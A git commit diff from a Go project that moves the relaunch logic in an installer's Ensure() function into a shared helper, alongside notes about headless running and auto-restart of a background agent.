refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/install/install.go

@@ -4,7 +4,6 @@ import (
 	"fmt"
 	"io"
 	"os"
-	"os/exec"
 	"path/filepath"
 	"strings"
 
@@ -44,15 +43,7 @@ func Ensure() error {
 		return fmt.Errorf("update startup path: %w", err)
 	}
 
-	cmd := exec.Command(target, os.Args[1:]...)
-	cmd.Stdin = os.Stdin
-	cmd.Stdout = os.Stdout
-	cmd.Stderr = os.Stderr
-	if err := cmd.Start(); err != nil {
-		return fmt.Errorf("relaunch from %s: %w", target, err)
-	}
-	os.Exit(0)
-	return nil
+	return relaunchInstalled(target)
 }
 
 func copyExe(from, to string) error {